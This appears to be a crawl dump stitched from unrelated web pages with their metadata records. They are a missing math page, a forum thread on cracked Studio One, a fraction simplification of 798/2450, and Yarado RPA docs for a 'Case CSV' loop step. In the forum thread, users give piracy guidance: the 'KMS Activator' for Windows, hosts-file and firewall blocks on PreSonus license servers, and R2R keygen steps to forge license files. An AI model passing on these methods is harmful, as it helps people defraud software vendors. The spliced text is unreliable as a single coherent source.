{ "line_start_idx": [ 0, 68, 69, 91, 92, 121, 122, 166, 167, 177, 178, 721, 722, 753, 754, 800, 801, 839, 840, 860, 861, 867, 868, 893, 894, 910, 911, 959, 960, 990, 991, 1016, 1017, 1048, 1049, 1069, 1070, 1076, 1077, 1104, 1105, 1123, 1124, 1178, 1179, 1234, 1235, 1246, 1247, 1281, 1282, 1341, 1342, 1367, 1368, 1432, 1433, 1443, 1444, 1679, 1680, 1724, 1725, 1746, 1747, 1764, 1765, 1787, 1788, 1838, 1839, 1924, 1925, 2031, 2032, 2087, 2088, 2111, 2112, 2172, 2173, 2183, 2184, 2266, 2267, 2510, 2511, 2537, 2538, 2562, 2563, 2678, 2679, 2741, 2742, 2797, 2798, 2858, 2859 ], "line_end_idx": [ 68, 69, 91, 92, 121, 122, 166, 167, 177, 178, 721, 722, 753, 754, 800, 801, 839, 840, 860, 861, 867, 868, 893, 894, 910, 911, 959, 960, 990, 991, 1016, 1017, 1048, 1049, 1069, 1070, 1076, 1077, 1104, 1105, 1123, 1124, 1178, 1179, 1234, 1235, 1246, 1247, 1281, 1282, 1341, 1342, 1367, 1368, 1432, 1433, 1443, 1444, 1679, 1680, 1724, 1725, 1746, 1747, 1764, 1765, 1787, 1788, 1838, 1839, 1924, 1925, 2031, 2032, 2087, 2088, 2111, 2112, 2172, 2173, 2183, 2184, 2266, 2267, 2510, 2511, 2537, 2538, 2562, 2563, 2678, 2679, 2741, 2742, 2797, 2798, 2858, 2859, 2873 ] }
{ "red_pajama_v2": { "ccnet_original_length": 2873, "ccnet_original_nlines": 98, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.3025302588939667, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.48184818029403687, "rps_doc_frac_unique_words": 0.32751092314720154, "rps_doc_mean_word_length": 4.211790561676025, "rps_doc_num_sentences": 24, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.33460807800293, "rps_doc_word_count": 458, "rps_doc_frac_chars_dupe_10grams": 0.07776050269603729, "rps_doc_frac_chars_dupe_5grams": 0.19854846596717834, "rps_doc_frac_chars_dupe_6grams": 0.14048729836940765, "rps_doc_frac_chars_dupe_7grams": 0.09279418736696243, "rps_doc_frac_chars_dupe_8grams": 0.07776050269603729, "rps_doc_frac_chars_dupe_9grams": 0.07776050269603729, "rps_doc_frac_chars_top_2gram": 0.06842923909425735, "rps_doc_frac_chars_top_3gram": 0.07257646322250366, "rps_doc_frac_chars_top_4gram": 0.07050284743309021, "rps_doc_books_importance": -441.1523132324219, "rps_doc_books_importance_length_correction": -441.1523132324219, "rps_doc_openwebtext_importance": -284.9925537109375, "rps_doc_openwebtext_importance_length_correction": -284.9925537109375, "rps_doc_wikipedia_importance": -168.77536010742188, "rps_doc_wikipedia_importance_length_correction": -168.77536010742188 }, "fasttext": { "dclm": 0.9892971515655518, "english": 0.8419846296310425, "fineweb_edu_approx": 3.1106626987457275, "eai_general_math": 0.9997909665107727, "eai_open_web_math": 0.610569953918457, "eai_web_code": 0.9320906400680542 } }
{ "free_decimal_correspondence": { "primary": { "code": "515.15", "labels": { "level_1": "Science and Natural history", "level_2": "Mathematics", "level_3": "Calculus and Mathematical analysis" } }, "secondary": { "code": "515", "labels": { "level_1": "Science and Natural history", "level_2": "Mathematics", "level_3": "Calculus and Mathematical analysis" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "23", "label": "Tutorial" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
7,427,650,950,562,211,000
Computer Deactivated Discussion in 'Studio One' started by Pablo0898, Jun 10, 2024. 1. Pablo0898 Pablo0898 Newbie Joined: Jun 10, 2024 Messages: 3 Likes Received: 0 OK! This is not the first time this has happened to me, everytime I have managed to get rid of it until now. I have inbound and outbound rules blocking studio one and added lines in host file. I have used Studio One for several years. This time the dreaded "your computer has been deactivated" will not go away. Even after deleting the program and all associated files, and reinstalling a fresh. Started a fresh with 6.0 no luck, then 6.5 no luck and 6.52. Deleted all files between each install. Any ideas???   2.   3. Danie Danie Ultrasonic Joined: May 12, 2024 Messages: 125 Likes Received: 25 Re-activate your windows with "KMS Activator v5". It resolves all the windows activation issues.   4. Dark6ixer Dark6ixer Kapellmeister Joined: Sep 12, 2017 Messages: 130 Likes Received: 70 have you deleted any studio one entries in your registry also - one thing you *may* have overlooked is blocking the plugin scanner. before I bought FL this was usually the culprit. Block studio one and whatever app or file it uses to scan for plugins. For FL you must block the FL studio app and the "IL plugin scanner"   5. Pablo0898 Pablo0898 Newbie Joined: Jun 10, 2024 Messages: 3 Likes Received: 0 I will give that a try later thanks.   6. Pablo0898 Pablo0898 Newbie Joined: Jun 10, 2024 Messages: 3 Likes Received: 0 Yes deleted registry entries. Blocking the plugin scan stops the plugins loading.   7. orbitbooster orbitbooster Audiosexual Joined: Jan 8, 2018 Messages: 1,028 Likes Received: 579 1: Windows right? 2: Something like "Your computer is disabled"? 3: Learn the basics of firewalling: imo it's not enough to edit hosts or pushing rules to windows firewall apps because: 4: better to use a third party firewall with those "annoying connection popups" than blissfully leaving the system decide ins and outs without warnings; 5: blocking altogether connections to apps can bring to malfunctions: for example kontakt (s.a. and vst) needs a localhost (127.0.0.1) connection or it crashes.   8. saccamano saccamano Rock Star Joined: Mar 26, 2023 Messages: 1,062 Likes Received: 417 Location: uranus Wait. Is it the Windows OS that has become deactivated or Studio One? If it's the windows os (win10 or above) you should be using the ps activation script which doesn't fail. Or at least I have never seen or heard of it failing even when perusing microsoft sites and/or using msdownload, applying patches, etc... It shouldn't require any special FW blocking either.   9. justwannadownload justwannadownload Audiosexual Joined: Jan 13, 2019 Messages: 1,288 Likes Received: 830 Location: Central Asia Had this issue once. Added the following: 127.0.0.1 api.presonus.com 127.0.0.1 api.presonus.com.cdn.cloudflare.com to my hosts and it didn't ever happen again. Cheched right now - everything works.   10. Bunford Bunford Audiosexual Joined: Jan 17, 2012 Messages: 2,382 Likes Received: 933 It is Studio One deactivating. Studio One uses a MachineID to activate itself within the R2R keygen. Therefore, I am assuming this is about Studio One becoming deactivating on the machine, which I experienced myself recently in 6.6.1 but haven't investigated at all to see what the issue was as I've not had time. Have you tried recreating licenses with the R2R keygen and ensuring everything is using correct MachineID, Machine Name, User Name, and so on and then tried to re-license Studio One? Also, some releases of Studio One aren't truly k'd. R2R releases are, but some others have been raw releases citing "need to use R2R keygen", but this does not work as the installed .exe needs to be patched too. Therefore, if you have installed a non-scene release installer, this may be the issue. From memory, 6.6.0 is the latest R2R official release, and this worked fine for me without issue. What version are you using?   11. Bunford Bunford Audiosexual Joined: Jan 17, 2012 Messages: 2,382 Likes Received: 933 I just tried this using 6.6.1 and it prompted me with this: upload_2024-6-11_14-2-53.png I then chose to "Activate Offline" and then got this (blanked out Activation Code just in case): upload_2024-6-11_14-5-11.png I then used the R2R keygen provided in their 6.6.0 release to generate the license files and saved them in an easy location. I then selected the "Select License File" in the above, navigated to the license files locations, and selected the studioapp6.pro.license file. I then got this pop up and upon clicking "OK" the app started up as normally activated: upload_2024-6-11_14-9-29.png However, once started, I then got this popup, meaning it's not a properly patched .exe file: upload_2024-6-11_14-11-8.png And I know this because when I load up the license for any of these, I get this, as an example: upload_2024-6-11_14-11-58.png However, when I then start up Studio One 6.6.1 again, it opens up fine as if it's activated, but still throws up the above requests for licenses for any extensions, but the core app is working fine and activated. I just re-tried R2R's 6.6.0 following the same as the above, and it does throw up the license request for the extensions too. However, R2R's accept some of the licenses and activates the extension and all is good with those, but there is about 6/7 extensions it won't activate. Therefore, at present, my advice would be to install R2R version 6.5.2 and authorize as per above and you will have everything licensed, including all extensions. Or, you can use R2R's 6.6.0 with some extensions not working/not authorising. If you only want the core app and not bothered about any of the extensions, you can also use the 6.6.1 on the sister site, accepting this isn't patched properly and so you will not have licensed extensions.   Last edited: Jun 11, 2024 12. justwannadownload justwannadownload Audiosexual Joined: Jan 13, 2019 Messages: 1,288 Likes Received: 830 Location: Central Asia Non-R2R versions often aren't cracked completely. Seems their magic only lasted for one update.   13. Bunford Bunford Audiosexual Joined: Jan 17, 2012 Messages: 2,382 Likes Received: 933 Yup, and that's what I was trying to explain to the OP. Either stick with fully working 6.5.2, upgrade to a half-working 6.6.0 (bunch of extensions not working), or upgrade to core-DAW only 6.6.1 (with no extensions working).   Loading... Loading...
{ "url": "https://audiosex.pro/threads/computer-deactivated.75890/#post-780110", "source_domain": "audiosex.pro", "snapshot_id": "CC-MAIN-2024-30", "warc_metadata": { "Content-Length": "66009", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:UHFYW5XFMX4DR7I4KKL6RJKAI6FJPZ37", "WARC-Concurrent-To": "<urn:uuid:d27b0620-3e3c-4772-a755-9c19d5f64dfd>", "WARC-Date": "2024-07-24T10:07:04Z", "WARC-IP-Address": "172.67.192.196", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:ABDA65M2OXCAWAASYV6KVL2XPYPLCHQ7", "WARC-Record-ID": "<urn:uuid:2475be89-fe23-48a4-9b4a-f8baedbf0cc7>", "WARC-Target-URI": "https://audiosex.pro/threads/computer-deactivated.75890/#post-780110", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:c49431b2-8d44-43a6-b527-8fe24a76c914>" }, "warc_info": "isPartOf: CC-MAIN-2024-30\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-174\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 21, 22, 85, 86, 101, 102, 123, 124, 136, 153, 167, 173, 193, 199, 312, 313, 401, 447, 448, 529, 617, 722, 723, 740, 746, 753, 764, 765, 786, 787, 799, 816, 830, 838, 858, 865, 966, 972, 987, 988, 1016, 1017, 1029, 1046, 1060, 1068, 1088, 1095, 1419, 1425, 1440, 1441, 1462, 1463, 1475, 1492, 1506, 1512, 1532, 1538, 1579, 1585, 1600, 1601, 1622, 1623, 1635, 1652, 1666, 1672, 1692, 1698, 1784, 1790, 1808, 1809, 1838, 1839, 1851, 1867, 1881, 1891, 1911, 1919, 1941, 1992, 2117, 2274, 2439, 2445, 2460, 2461, 2485, 2486, 2498, 2515, 2529, 2539, 2559, 2567, 2581, 2592, 2666, 2667, 2967, 2973, 2996, 2997, 3031, 3032, 3044, 3061, 3075, 3085, 3105, 3113, 3127, 3144, 3169, 3194, 3225, 3275, 3362, 3368, 3382, 3383, 3407, 3408, 3420, 3437, 3451, 3461, 3481, 3489, 3807, 3808, 3995, 3996, 4299, 4300, 4430, 4436, 4450, 4451, 4475, 4476, 4488, 4505, 4519, 4529, 4549, 4557, 4621, 4622, 4655, 4656, 4757, 4758, 4791, 4792, 5153, 5154, 5187, 5188, 5285, 5286, 5319, 5320, 5420, 5421, 5455, 5456, 5673, 5674, 5956, 5957, 6202, 6203, 6414, 6420, 6450, 6474, 6475, 6509, 6510, 6522, 6539, 6553, 6563, 6583, 6591, 6605, 6622, 6722, 6728, 6742, 6743, 6767, 6768, 6780, 6797, 6811, 6821, 6841, 6849, 7079, 7085, 7096 ], "line_end_idx": [ 21, 22, 85, 86, 101, 102, 123, 124, 136, 153, 167, 173, 193, 199, 312, 313, 401, 447, 448, 529, 617, 722, 723, 740, 746, 753, 764, 765, 786, 787, 799, 816, 830, 838, 858, 865, 966, 972, 987, 988, 1016, 1017, 1029, 1046, 1060, 1068, 1088, 1095, 1419, 1425, 1440, 1441, 1462, 1463, 1475, 1492, 1506, 1512, 1532, 1538, 1579, 1585, 1600, 1601, 1622, 1623, 1635, 1652, 1666, 1672, 1692, 1698, 1784, 1790, 1808, 1809, 1838, 1839, 1851, 1867, 1881, 1891, 1911, 1919, 1941, 1992, 2117, 2274, 2439, 2445, 2460, 2461, 2485, 2486, 2498, 2515, 2529, 2539, 2559, 2567, 2581, 2592, 2666, 2667, 2967, 2973, 2996, 2997, 3031, 3032, 3044, 3061, 3075, 3085, 3105, 3113, 3127, 3144, 3169, 3194, 3225, 3275, 3362, 3368, 3382, 3383, 3407, 3408, 3420, 3437, 3451, 3461, 3481, 3489, 3807, 3808, 3995, 3996, 4299, 4300, 4430, 4436, 4450, 4451, 4475, 4476, 4488, 4505, 4519, 4529, 4549, 4557, 4621, 4622, 4655, 4656, 4757, 4758, 4791, 4792, 5153, 5154, 5187, 5188, 5285, 5286, 5319, 5320, 5420, 5421, 5455, 5456, 5673, 5674, 5956, 5957, 6202, 6203, 6414, 6420, 6450, 6474, 6475, 6509, 6510, 6522, 6539, 6553, 6563, 6583, 6591, 6605, 6622, 6722, 6728, 6742, 6743, 6767, 6768, 6780, 6797, 6811, 6821, 6841, 6849, 7079, 7085, 7096, 7106 ] }
{ "red_pajama_v2": { "ccnet_original_length": 7106, "ccnet_original_nlines": 208, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.3215017020702362, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.02935153990983963, "rps_doc_frac_lines_end_with_ellipsis": 0.009569380432367325, "rps_doc_frac_no_alph_words": 0.3187713325023651, "rps_doc_frac_unique_words": 0.4047846794128418, "rps_doc_mean_word_length": 4.822966575622559, "rps_doc_num_sentences": 119, "rps_doc_symbol_to_word_ratio": 0.002047779969871044, "rps_doc_unigram_entropy": 5.538087368011475, "rps_doc_word_count": 1045, "rps_doc_frac_chars_dupe_10grams": 0.11984127014875412, "rps_doc_frac_chars_dupe_5grams": 0.11984127014875412, "rps_doc_frac_chars_dupe_6grams": 0.11984127014875412, "rps_doc_frac_chars_dupe_7grams": 0.11984127014875412, "rps_doc_frac_chars_dupe_8grams": 0.11984127014875412, "rps_doc_frac_chars_dupe_9grams": 0.11984127014875412, "rps_doc_frac_chars_top_2gram": 0.02142857015132904, "rps_doc_frac_chars_top_3gram": 0.02380952052772045, "rps_doc_frac_chars_top_4gram": 0.01785713993012905, "rps_doc_books_importance": -760.112548828125, "rps_doc_books_importance_length_correction": -760.112548828125, "rps_doc_openwebtext_importance": -429.8851013183594, "rps_doc_openwebtext_importance_length_correction": -429.8851013183594, "rps_doc_wikipedia_importance": -301.1666564941406, "rps_doc_wikipedia_importance_length_correction": -301.1666564941406 }, "fasttext": { "dclm": 0.051572319120168686, "english": 0.9350807666778564, "fineweb_edu_approx": 1.0627388954162598, "eai_general_math": 0.03232448920607567, "eai_open_web_math": 0.19185441732406616, "eai_web_code": 0.012058730237185955 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.4", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "-1", "labels": { "level_1": "", "level_2": "", "level_3": "" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "4", "label": "Missing Images or Figures" }, "secondary": { "code": "0", "label": "No missing content" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "21", "label": "Customer Support" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "2", "label": "Partially Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "1", "label": "General Audience" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
8,177,409,690,288,151,000
Answers Solutions by everydaycalculation.com Answers.everydaycalculation.com » Fraction simplifier Reduce 798/2450 to lowest terms The reduced form of 798/2450 is 57/175 Steps to simplifying fractions 1. Find the GCD (or HCF) of numerator and denominator GCD of 798 and 2450 is 14 2. Divide both the numerator and denominator by the GCD 798 ÷ 14/2450 ÷ 14 3. Reduced fraction: 57/175 Therefore, 798/2450 simplified is 57/175 MathStep (Works offline) Download our mobile app and learn to work with fractions in your own time: Android and iPhone/ iPad Equivalent fractions: More fractions: © everydaycalculation.com
{ "url": "https://answers.everydaycalculation.com/simplify-fraction/798-2450", "source_domain": "answers.everydaycalculation.com", "snapshot_id": "crawl=CC-MAIN-2020-29", "warc_metadata": { "Content-Length": "6497", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:JHRI6FHACVTYV5NC5GTK42GGOXJEGLDN", "WARC-Concurrent-To": "<urn:uuid:8d2b3597-1ab9-4c2e-b915-08ea82c07794>", "WARC-Date": "2020-07-13T15:52:26Z", "WARC-IP-Address": "96.126.107.130", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:3VWHDQ5Y3WHUS7YTI3SILN5VWI6NJA72", "WARC-Record-ID": "<urn:uuid:fb03e673-2cea-42bb-a930-491137ad15a8>", "WARC-Target-URI": "https://answers.everydaycalculation.com/simplify-fraction/798-2450", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:02ed6e5c-6617-4186-a603-2568ae1edd60>" }, "warc_info": "isPartOf: CC-MAIN-2020-29\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-117.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 8, 9, 46, 47, 101, 102, 134, 135, 174, 175, 206, 207, 263, 293, 351, 374, 404, 449, 450, 475, 476, 551, 576, 577, 599, 600, 616, 617 ], "line_end_idx": [ 8, 9, 46, 47, 101, 102, 134, 135, 174, 175, 206, 207, 263, 293, 351, 374, 404, 449, 450, 475, 476, 551, 576, 577, 599, 600, 616, 617, 642 ] }
{ "red_pajama_v2": { "ccnet_original_length": 642, "ccnet_original_nlines": 28, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.22834646701812744, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.03149605914950371, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.3937007784843445, "rps_doc_frac_unique_words": 0.6630434989929199, "rps_doc_mean_word_length": 5.41304349899292, "rps_doc_num_sentences": 8, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 3.963210105895996, "rps_doc_word_count": 92, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.02811245061457157, "rps_doc_frac_chars_top_3gram": 0.09236948192119598, "rps_doc_frac_chars_top_4gram": 0, "rps_doc_books_importance": -53.18086624145508, "rps_doc_books_importance_length_correction": -63.676979064941406, "rps_doc_openwebtext_importance": -38.23743438720703, "rps_doc_openwebtext_importance_length_correction": -48.73354721069336, "rps_doc_wikipedia_importance": -23.12806510925293, "rps_doc_wikipedia_importance_length_correction": -33.62417984008789 }, "fasttext": { "dclm": 0.34956032037734985, "english": 0.8545617461204529, "fineweb_edu_approx": 1.7698475122451782, "eai_general_math": 0.05776834115386009, "eai_open_web_math": 0.6145539283752441, "eai_web_code": -0.000009299999874201603 } }
{ "free_decimal_correspondence": { "primary": { "code": "513.24", "labels": { "level_1": "Science and Natural history", "level_2": "Mathematics", "level_3": "Geometry" } }, "secondary": { "code": "510.71", "labels": { "level_1": "Science and Natural history", "level_2": "Mathematics", "level_3": "" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "1", "label": "Factual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "21", "label": "Customer Support" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "5", "label": "Exceptionally Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "1", "label": "General Audience" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-3,839,199,933,476,915,700
Skip to content Case CSV Purpose By including loops into your automation, you can easily automate repetitive tasks. Yarado can run tasks in loop mode by loading the default loop file at launch. However, there are many cases where it's necessary to load a loop file dynamically or based on business logic. For those situations, Yarado offers the Case CSV function. The Case CSV function allows you to dynamically load a task's loop file based on the outcome of an IF-statement. Meaning, your predefined criteria must be met before your .csv file is loaded as loop file. Case CSV Double click the icon or drag it to the process visuliser to use the Case CSV function. Using Case CSV The Case CSV step is a step that must be created manually because it is not possible to provide the decision criteria when you are in recording mode. Interface elements Element Description 1. Select Variable Select the corresponding variable. 2. Equals/Contains When testing, define whether the variable should equal (fully match) or contain (partially match) the value. 3. Case sensitivity Checking this box will enable case sensitivity, meaning that Yarado will differentiate between UPPER and lowercase characters. 4. Value to match Select the value or variable to test against. 5. CSV file path Define the file path of the .csv file Yarado should load as loop file if the logic test is passed. Case CSV interface Variable based interface elements of Case CSV. Adding or deleting rules Once you have configured your rule, click on Add rule to confirm and enter it into the list of rules. To delete a rule, you first need to select the row you want to delete. You can do so by left-clicking in the most left column of the rules table. If you do so, the row you have selected will light up blue. Then you can right-click to delete the select row or press Delete on your keyboard. Delete Case CSV rule Deleting a rule. Example Loading a CSV based on a variable value Case CSV are usually part of more complex task flows, where the steps leading up the Case CSV steps create or append the loop file that will be loaded in the Case CSV step. To keep this example as clear as possible, it's contained to just four Yarado steps. For this example, we will use a count variable and a value for the trigger in the Case CSV. 1. Create two variables: • %count% to match against later on. • %filepath% for the .csv file you want to load. Case CSV example Variables used in this example. 2. Open a text editor such as Notepad and a create a .csv file with three lines: 1 2 3 • Make sure you hit Enter one more time after typing "3"; otherwise Yarado will only interpret the first two lines of the loop file. • Save this file to a location on your machine's main disk. • Enter the filepath of this file as Variable Value for %filepath%. 3. Add a Hidden Command step with the following argument: Find /V /C "" < "%filepath%" This command will count the number of lines in the .csv file you have just created. Case CSV example Hidden Command step used in this example. • Use %count% as the output variable for this step. • Click on OK to save the step. 4. Add a Case CSV step with the following settings: Case CSV example Case CSV step used in this example. • Click on Add rule and OK to save the step. 5. Add an Execute Program step with the following settings: Case CSV example Execute Command step used in this example. • Click on OK to save the step. 6. Add a Close Application funtion step with the following settings: Case CSV example Close Application function step used in this example. • Click on OK to save the step. 7. Start the loop file at step 3.1 by right clicking on the step and clicking on Steploop → Steploop Start. Repeat this for step 4.1, but click Steploop End here instead of Start. Case CSV example Steploop Start. 8. Run the task in loop mode and you will see that your .csv is loaded as loop file, while Yarado loops through opening and closing Edge.
{ "url": "https://docs.yarado.com/yarado-client/toolbox/case-csv/", "source_domain": "docs.yarado.com", "snapshot_id": "crawl=CC-MAIN-2021-21", "warc_metadata": { "Content-Length": "48806", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:UJWG26CQOF6PYRZ7KVDLWPBNFQ4QY776", "WARC-Concurrent-To": "<urn:uuid:d25acb17-1716-47fb-80bf-7cc5da9c6969>", "WARC-Date": "2021-05-06T22:58:18Z", "WARC-IP-Address": "46.226.92.241", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:7QC2HOP2WNCT4E34IKUELXSTWXNKCSQZ", "WARC-Record-ID": "<urn:uuid:7bc31f7d-283a-4542-9fde-8717953b4e7a>", "WARC-Target-URI": "https://docs.yarado.com/yarado-client/toolbox/case-csv/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:b7cff25a-91fa-4731-ae90-4a868dfce5a6>" }, "warc_info": "isPartOf: CC-MAIN-2021-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-87.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 16, 17, 26, 27, 35, 36, 367, 368, 573, 574, 583, 584, 672, 673, 688, 689, 839, 840, 859, 860, 880, 934, 1062, 1209, 1273, 1389, 1390, 1409, 1410, 1457, 1458, 1483, 1484, 1586, 1587, 1877, 1878, 1899, 1900, 1917, 1918, 1926, 1927, 1967, 1968, 2226, 2227, 2319, 2320, 2347, 2348, 2389, 2442, 2443, 2464, 2465, 2501, 2502, 2585, 2586, 2592, 2598, 2604, 2609, 2610, 2747, 2811, 2883, 2943, 2944, 2977, 2982, 3070, 3071, 3092, 3093, 3139, 3140, 3196, 3232, 3286, 3287, 3308, 3309, 3349, 3350, 3399, 3461, 3462, 3483, 3484, 3531, 3532, 3568, 3639, 3640, 3661, 3662, 3720, 3721, 3757, 3939, 3940, 3961, 3962, 3982, 3983 ], "line_end_idx": [ 16, 17, 26, 27, 35, 36, 367, 368, 573, 574, 583, 584, 672, 673, 688, 689, 839, 840, 859, 860, 880, 934, 1062, 1209, 1273, 1389, 1390, 1409, 1410, 1457, 1458, 1483, 1484, 1586, 1587, 1877, 1878, 1899, 1900, 1917, 1918, 1926, 1927, 1967, 1968, 2226, 2227, 2319, 2320, 2347, 2348, 2389, 2442, 2443, 2464, 2465, 2501, 2502, 2585, 2586, 2592, 2598, 2604, 2609, 2610, 2747, 2811, 2883, 2943, 2944, 2977, 2982, 3070, 3071, 3092, 3093, 3139, 3140, 3196, 3232, 3286, 3287, 3308, 3309, 3349, 3350, 3399, 3461, 3462, 3483, 3484, 3531, 3532, 3568, 3639, 3640, 3661, 3662, 3720, 3721, 3757, 3939, 3940, 3961, 3962, 3982, 3983, 4122 ] }
{ "red_pajama_v2": { "ccnet_original_length": 4122, "ccnet_original_nlines": 107, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.37857142090797424, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.03809523954987526, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.17023810744285583, "rps_doc_frac_unique_words": 0.33518776297569275, "rps_doc_mean_word_length": 4.3226704597473145, "rps_doc_num_sentences": 64, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.857913970947266, "rps_doc_word_count": 719, "rps_doc_frac_chars_dupe_10grams": 0.028314029797911644, "rps_doc_frac_chars_dupe_5grams": 0.11357785761356354, "rps_doc_frac_chars_dupe_6grams": 0.09716860204935074, "rps_doc_frac_chars_dupe_7grams": 0.09716860204935074, "rps_doc_frac_chars_dupe_8grams": 0.0855855867266655, "rps_doc_frac_chars_dupe_9grams": 0.028314029797911644, "rps_doc_frac_chars_top_2gram": 0.04954954981803894, "rps_doc_frac_chars_top_3gram": 